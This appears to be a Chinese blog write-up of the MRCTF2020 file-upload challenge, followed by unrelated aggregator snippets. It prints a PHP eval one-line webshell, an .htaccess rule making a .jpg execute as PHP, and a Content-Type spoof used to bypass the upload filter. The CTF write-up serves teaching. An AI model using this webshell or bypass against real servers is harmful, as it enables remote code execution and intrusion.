当前位置： 首页 > news >正文

（.htaccess文件特性）[MRCTF2020]你传你呢 1

news 2026/5/23 13:32:04

题目环境：
image.png

不难看出是一道文件上传漏洞

上传一句话木马文件
burpsuite进行抓包
<?php @eval($_POST['shell']);?>

命名为PHP文件格式

image.png
Repeater进行重放
image.png
image.png

尝试了其它后缀进行绕过都没有成功
通过 application/x-php内容类型，可以看出被识别出是PHP文件，猜测作者使用了htaccess文件更改了相关配置

了解.htaccess文件

概述来说，htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
注意这几个字“改变文件扩展名”，后面会用到

尝试传入jpg文件（一句话木马不变）
回显结果是否会有所不同
image.png

发现上传成功
访问上传的文件
image.png
图片加载失败
到这里猜想使用中国蚁剑是连接不成功的
不过咱们还是按照正常程序走一遍比较好

使用中国蚁剑进行连接
image.png

返回数据为空
到这里我们的一句话木马并没有被识别出来，或者说并没有执行，猜测被拦截
尝试上传更改后的.htaccess文件

上传.htaccess文件

<FileMatch "1.jpg>
SetHandler application/x-httpd-php
</FileMatch>

上传的一句话木马文件要和1.jpg文件名一模一样
可以把这段代码理解为，将1.jpg文件内容当作PHP文件执行

image.png

发现被拦截了，更改内容类型为image/jpeg进行绕过

更改Content-Type内容类型为:image/jpeg
image.png

.htaccess文件上传成功

再次上传1.jpg的木马文件
image.png
image.png

上传成功
访问成功
尝试使用蚁剑进行连接

使用中国蚁剑进行连接
image.png
image.png
image.png
得到flag：
flag{11711c03-702e-43ac-b1fe-fec6c5297260}

相关文章：

（.htaccess文件特性）[MRCTF2020]你传你呢 1

题目环境&#xff1a; 不难看出是一道文件上传漏洞 上传一句话木马文件burpsuite进行抓包<?php eval($_POST[shell]);?> 命名为PHP文件格式 Repeater进行重放 尝试了其它后缀进行绕过都没有成功 通过 application/x-php内容类型&#xff0c;可以看出被识别出是PHP文件&…...

编程日记 2023/11/17 13:20:30

微软Ignite 2023大盘点：GPT-4 Turbo、DALL-E 3等

11月16日&#xff0c;微软在美国西雅图举办“Microsoft Ignite 2023”全球开发者大会。ChatGPT等生成式AI成为了本次大会的重要主题。 下面「AIGC开放社区」将根据大会发布的内容&#xff0c;盘点重要内容。 GPT-4 Turbo、 DALL E 3等全新模型 16K上下文的新GPT-3.5 Turbo模…...

编程日记 2023/11/17 13:19:28

应用架构的演进 I 使用无服务器保证数据一致性

在微服务架构中&#xff0c;一个业务操作往往需要跨多个服务协作完成&#xff0c;包含了读取数据和更新多个服务的数据同时进行。在数据读取和写入的过程中&#xff0c;有一个服务失败了&#xff0c;势必会造成同进程其他服务数据不一致的问题。 亚马逊云科技开发者社区为开发者…...

编程日记 2023/11/17 13:18:27

jupyter修改默认打开目录

当我们打开jupyter notebook&#xff08;不管用什么样的方式打开&#xff0c;使用菜单打开或者是命令行打开是一样的&#xff09;会在默认的浏览器中看到这样的界面、 但是每一台不同的电脑打开之后的界面是不同的&#xff0c;仔细观察就会发现&#xff0c;这里面现实的一些文件…...

编程日记 2023/11/17 13:17:26

HTML5学习系列之标题和正文、描述性信息

HTML5学习系列之标题和正文、描述性信息 标题和正文标题段落 描述性信息强调注解备选上下标术语代码预定义格式缩写词编辑提示引用引述换行显示修饰非文本注解 总结 标题和正文 标题 按语义轻重排列&#xff1a;h1\h2\h3\h4\h5\h6 <h1>诗词介绍</h1> <h2>…...

编程日记 2023/11/17 13:16:25

互联网医院系统：数字化时代中医疗服务的未来

随着数字化时代的发展&#xff0c;互联网医院系统在医疗服务中的作用日益凸显。本文将讨论互联网医院系统的一些关键技术方面&#xff0c;探讨这些技术如何推动医疗服务进入数字化时代。 1. 数据智能与个性化服务 互联网医院系统依赖于大数据分析和人工智能技术&#xff0c;…...

编程日记 2023/11/17 13:15:22

（C语言）输入一个序列，判断是否为奇偶交叉数

#include <stdio.h> #include <string.h> int main() {char str[50];gets(str);int len,tmp 1;len strlen(str); //获取字符串长度 for (int i 0;i < len-1 ;i ){if((str[i] % 2 0 ) && (str[i1] % 2 ! 0)) //判断先偶数后奇数序列 tmp ;else if((s…...

编程日记 2023/11/17 13:14:20

蓝桥杯模拟赛：最远滑行距离 ← dfs

【题目来源】https://www.lanqiao.cn/problems/2414/learning/【题目描述】 小蓝准备在一个空旷的场地里面滑行&#xff0c;这个场地的高度不一&#xff0c;小蓝用一个 n 行 m 列的矩阵来表示场地&#xff0c;矩阵中的数值表示场地的高度。 如果小蓝在某个位置&#xff0c;而他…...

编程日记 2023/11/17 13:13:19

广东电信手机号余额查询接口

接口地址&#xff1a;https://gdty.gd189.cn/MOService/mapi/moduleRecharge/recharge/querySerCount 请求参数&#xff1a; {"mphone":"15303*05139","mareaCode":"","busiId":"CDMA","chongzhiType&qu…...

编程日记 2023/11/17 13:11:17

这次轮到微软炸场了；5000+AI工具调研报告 (500万字)；狂打一星开喷AI聊天机器人；CMU LLM课程；AI创业的方向与时机 | ShowMeAI日报

&#x1f440;日报&周刊合集 | &#x1f3a1;生产力工具与行业应用大全 | &#x1f9e1; 点赞关注评论拜托啦&#xff01; &#x1f251; Microsoft Ignite 2023 技术大会&#xff1a;微软的年度炸场时刻&#xff0c;而且连炸四天 https://ignite.microsoft.com OpenAI 开发…...

编程日记 2023/11/17 13:10:16

--max-old-space-size=8192报错

vue项目运行时&#xff0c;如果经常运行慢&#xff0c;崩溃停止服务&#xff0c;报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中&#xff0c;通过JavaScript使用内存时只能使用部分内存&#xff08;64位系统&…...

编程日记 2023/11/17 13:08:14

单区域OSPF配置

配置命令步骤&#xff1a; 1.使用router ospf 进程ID编号 启用OSPF路由 2.使用network 直连网络地址 反掩码 area 0 将其归于区域0 注意&#xff1a;1.进程ID编号可任意&#xff08;1-65535&#xff09;2.反掩码用4个255相减得到 如下图&#xff0c;根据给出要求配置OSPF单区…...

编程日记 2023/11/17 13:07:13

VsCode 安装 GitHub Copilot插件 （最新）

##在线安装&#xff1a; 打开Vscode扩展商店&#xff0c;输入 "GitHub Copilot " ,选择下载人数最多的那个。&#xff08;这个是你写一部分代码或者注释&#xff0c;Ai自动帮你提示/补全代码&#xff09;,建议选择这个 注意下面有个和他类似的 "GitHub Copilo…...

编程日记 2023/11/17 13:04:08

人工智能基础_机器学习039_sigmoid函数_逻辑回归_逻辑斯蒂回归_分类神器_代码实现逻辑回归图---人工智能工作笔记0079

逻辑斯蒂回归（Logistic Regression）是一种常用的分类算法，其基本思想是通过拟合一个逻辑斯蒂函数来预测样本所属的类别。它广泛应用于各个领域，如医学、金融、市场营销等，具有较好的解释性和可解释性。在逻辑斯蒂回归中，我们通常使用的是二分类问题，即样本只属于两个类别…...

编程日记 2023/11/17 13:03:07

购买阿里云服务器需要多少钱？活动价3000元-5000元的阿里云服务器汇总

购买阿里云服务器需要多少钱&#xff1f;如果我们只有3000元-5000元的预算可以购买什么实例规格和配置的阿里云服务器呢&#xff1f;因为阿里云服务器价格是由实例规格、配置、带宽等众多配置决定的&#xff0c;所以&#xff0c;目前阿里云活动中的价格在3000元-5000元的云服务…...

编程日记 2023/11/17 13:02:06

CentOS修改root用户密码

一、适用场景 1、太久没有登录CentOS系统&#xff0c;忘记管理密码。 2、曾经备份的虚拟化OVA或OVF模板&#xff0c;使用模板部署新系统后&#xff0c;忘记root密码。 3、被恶意攻击修改root密码后的紧急修复。 二、实验环境 1、VMware虚拟化的ESXI6.7下&#xff0c;通过曾经…...

编程日记 2023/11/17 13:01:05

Android消息机制（Handler、Looper、MessageQueue）

一、ThreadLocal 1、什么是ThreadLocal ThreadLocal 是一个线程内部的数据存储类&#xff0c;通过它可以在指定的线程中存储数据&#xff0c;数据存储以后&#xff0c;只有在指定线程中可以获取到存储的数据&#xff0c;对于其他线程来说则无法获取到数据。 一般来说&#xf…...

编程日记 2023/11/17 12:59:02

Pikachu漏洞练习平台之XXE（XML外部实体注入）

目录 什么是 XML&#xff1f; 什么是DTD&#xff1f; 什么是XEE&#xff1f; 常见payload 什么是 XML&#xff1f; XML 指可扩展标记语言&#xff08;EXtensible Markup Language&#xff09;&#xff1b; XML 不会做任何事情&#xff0c;而是用来结构化、存储以及传输信息…...

编程日记 2023/11/17 12:58:01

ubuntu中/etc/rc.local和/etc/init.d/rc.local的区别是什么

在早期版本的Ubuntu中&#xff0c;通常会使用 /etc/rc.local 或 /etc/init.d/rc.local 文件执行在系统启动时需要运行的自定义脚本或命令。然而&#xff0c;随着Ubuntu的版本升级&#xff0c;这两者的使用方式有了一些变化。 /etc/rc.local&#xff1a; 功能&#xff1a; /etc/…...

编程日记 2023/11/17 12:57:00

vue项目中 commonJS转es6

背景&#xff1a;项目中需要使用一个插件&#xff0c;但是插件底层是commonJS语法 项目结构&#xff1a;webpackvue2.x 转换准备工作 安装插件&#xff1a; 以下插件如已安装请忽略 npm install babel/preset-env vue/cli-plugin-babel/preset babel/plugin-transform-runt…...

编程日记 2023/11/17 12:55:59

从零开始接入 Taotoken，新用户注册到首次成功调用的全过程耗时

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 从零开始接入 Taotoken&#xff0c;新用户注册到首次成功调用的全过程耗时 对于开发者而言&#xff0c;评估一个新工具或平台的接入…...

编程新知 2026/5/23 12:37:11

如何用Shutter Encoder解决专业视频工作流中的格式兼容性问题：5步完整指南

如何用Shutter Encoder解决专业视频工作流中的格式兼容性问题&#xff1a;5步完整指南 【免费下载链接】shutter-encoder A professional video compression tool accessible to all, mostly based on FFmpeg. 项目地址: https://gitcode.com/gh_mirrors/sh/shutter-encoder …...

编程新知 2026/5/23 12:35:07

DKC02.3-200-7-FW伺服驱动器

Rexroth DKC02.3-200-7-FW 是博世力士乐 Indramat 系列的高性能数字伺服驱动器&#xff0c;专为高动态响应的工业自动化场景设计。大电流输出&#xff1a;额定100A&#xff0c;峰值200A&#xff0c;满足高负载需求。宽压输入&#xff1a;支持200-480V AC&#xff0c;适应全球电…...

编程新知 2026/5/23 11:07:00

深度解析yuzu模拟器：Switch游戏跨平台运行的技术架构与实战应用

深度解析yuzu模拟器&#xff1a;Switch游戏跨平台运行的技术架构与实战应用 【免费下载链接】yuzu 任天堂 Switch 模拟器 项目地址: https://gitcode.com/GitHub_Trending/yu/yuzu yuzu模拟器作为当前最先进的任天堂Switch开源模拟器&#xff0c;实现了在Windows、Linux…...

编程新知 2026/5/23 10:54:53

终极指南：Commit Message Emoji 让每次提交都充满仪式感

终极指南&#xff1a;Commit Message Emoji 让每次提交都充满仪式感 【免费下载链接】commit-message-emoji Every commit is important. So lets celebrate each and every commit with a corresponding emoji! :smile: 项目地址: https://gitcode.com/gh_mirrors/co/commit…...

编程新知 2026/5/23 10:21:43

一部95分钟AI电影杀进戛纳后，影视行业开始不淡定了

作者&#xff1a;王聪彬今年戛纳电影节的C位&#xff0c;不是红毯&#xff0c;不是明星&#xff0c;也不是哪位导演的新片&#xff0c;AI把C位抢了。8支由火山引擎视频生成大模型Seedance 2.0创作的AI影片&#xff0c;第一次正式登上戛纳舞台。过去代表全球电影工业最高门槛的戛…...

编程新知 2026/5/23 10:08:14

终极指南：3步解锁网易云音乐NCM格式的完整Windows解决方案

终极指南&#xff1a;3步解锁网易云音乐NCM格式的完整Windows解决方案 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换&#xff0c;Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI 你是否曾经下载了网易云音乐的歌曲&…...

编程新知 2026/5/23 8:25:20

LoftQ量化技术终极指南：如何在4bit精度下高效微调大语言模型

LoftQ量化技术终极指南&#xff1a;如何在4bit精度下高效微调大语言模型 【免费下载链接】peft &#x1f917; PEFT: State-of-the-art Parameter-Efficient Fine-Tuning. 项目地址: https://gitcode.com/gh_mirrors/pe/peft 在大语言模型(LLM)微调的实践中&#xff0c;…...

编程新知 2026/5/23 4:49:23

AI赋能·精准适配——API风险监测系统筑牢教育数据流转安全防线

一、概要提示&#xff1a;本文围绕数据流转安全与静态数据安全的核心差异&#xff0c;结合教育行业数字化转型特性&#xff0c;系统阐述API风险监测系统的核心逻辑、核心能力、常见疑问及发展趋势&#xff0c;全面呈现系统在教育场景中的数据化应用成效&#xff0c;凸显“AI赋能…...

编程新知 2026/5/23 2:14:20

MyBatis-Plus持久层框架应用技术研究

在Web应用系统开发过程中&#xff0c;数据持久层承担着数据库交互、数据读写、数据统计、条件查询的核心作用&#xff0c;持久层框架的性能与便捷性直接决定项目开发效率与系统运行稳定性。传统MyBatis框架虽能够实现数据库增删改查操作&#xff0c;但存在代码冗余、重复代码多…...

编程新知 2026/5/23 0:44:21